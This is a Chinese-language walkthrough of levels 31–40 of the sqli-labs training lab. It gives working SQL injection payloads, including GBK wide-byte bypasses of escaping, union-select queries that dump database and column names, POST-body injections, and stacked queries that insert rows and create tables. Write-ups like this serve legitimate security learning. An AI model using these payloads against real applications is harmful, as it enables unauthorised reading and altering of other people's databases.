sqli-labs通关教程----31~40关

第三十一关

这关一样,闭合变成(",简单测试,#号不能用

?id=1") and ("1")=("1")--+

第三十二关

这关会把我们的输入里的单引号前面都加一个\使得单引号转义,使它没有任何意义只是一个字符,所以应该是宽字节注入。什么是宽字节?

  • 当某字符的大小为一个字节时,称其字符为窄字节.
  • 当某字符的大小为两个字节时,称其字符为宽字节.
  • 所有英文默认占一个字节,汉字占两个字节
  • 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等
    这里有两个思路,第一个我们自己再添加一个斜杠\把系统添加的\转义,但是这里会在我们添加的\前面还会再添加两个个\把我们的\和'一起给转义了.........

    还有个思路就是宽字节注入,
    当使用宽字节编码,如:GBK时,两个连在一起的字符会被认为是汉字,我们可以在单引号前加一个字符,使其和斜杠(\)组合被认为成汉字,从未达到让斜杠消失的目的,进而使单引号发挥作用
    注意:前一个字符的Ascii要大于128,两个字符才能组合成汉字
    就比如在单引号前面输入一个%df这样进入系统就变成%df%5c%27,但是因为mysql使用的宽字节编码会把%df%5c当做一个汉字,所以就把\给注释掉了
    爆库名
?id=-1%df' union select 1,2,database() --+

sqli-labs通关教程----31~40关_第1张图片
看到\和%df已经组合成功了
爆列名:

?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

这里将users进行hex编码可绕过'单引号

之后操作一样

第三十三关

这关和32关一样啊,payload一模一样都能用,看了下源码连这关的标题都写的32...
sqli-labs通关教程----31~40关_第2张图片

第三十四关

这关就是就是变成POST请求,order by只能猜到2列数据
爆列名:

uname=admin1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin1&submit=Submit&

sqli-labs通关教程----31~40关_第3张图片

第三十五关

这关还是有转义,但变成数字型注入了,不用引号了。直接注入就行。但是指定表名和数据库名查询还是要hex编码。
爆列名:

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

第三十六关

这关就是浏览器输入的值经过mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a
    就是被转义的关键字比较多,其实还是阔以用之前32关的宽字符注入来做,一样的payload
    爆列名:
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

sqli-labs通关教程----31~40关_第4张图片

第三十七关

这关和34关类似,一样的payload,用post方法提交
爆列名:

uname=admin1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin1&submit=Submit&

sqli-labs通关教程----31~40关_第5张图片

第三十八关

这关看标题是堆叠注入,就是把很多条sql语句堆在一起使用,用分号区分不同的sql语句。虽然限制很多但利用mysqli_multi_query()函数就支持多条sql语句同时执行。
平常sql注入受到sql语句的限制就是来查查数据,但利用堆叠注入完全可以自己构造sql语句,对数据库进行增删改查操作,可谓危害很大。
这关也可以用寻常的sql注入套路。
向users表插入数据

?id=1';insert into users(id,username,password) value (66,'acca','bbc') --+

sqli-labs通关教程----31~40关_第6张图片
新建一个以emails表为模板的表

?id=1';create table test like emails;--+

sqli-labs通关教程----31~40关_第7张图片

第三十九关

和上一关一样,没有闭合了变成数字型注入,其他一样。
新建一个以emails表为模板的表

?id=1;create table test like emails;--+

第四十关

与前几关一样,闭合变成')
插入数据

?id=1') ;insert into users(id,username,password) values('17','aaa','bbb'); %23

你可能感兴趣的:(sqli-labs通关教程----31~40关)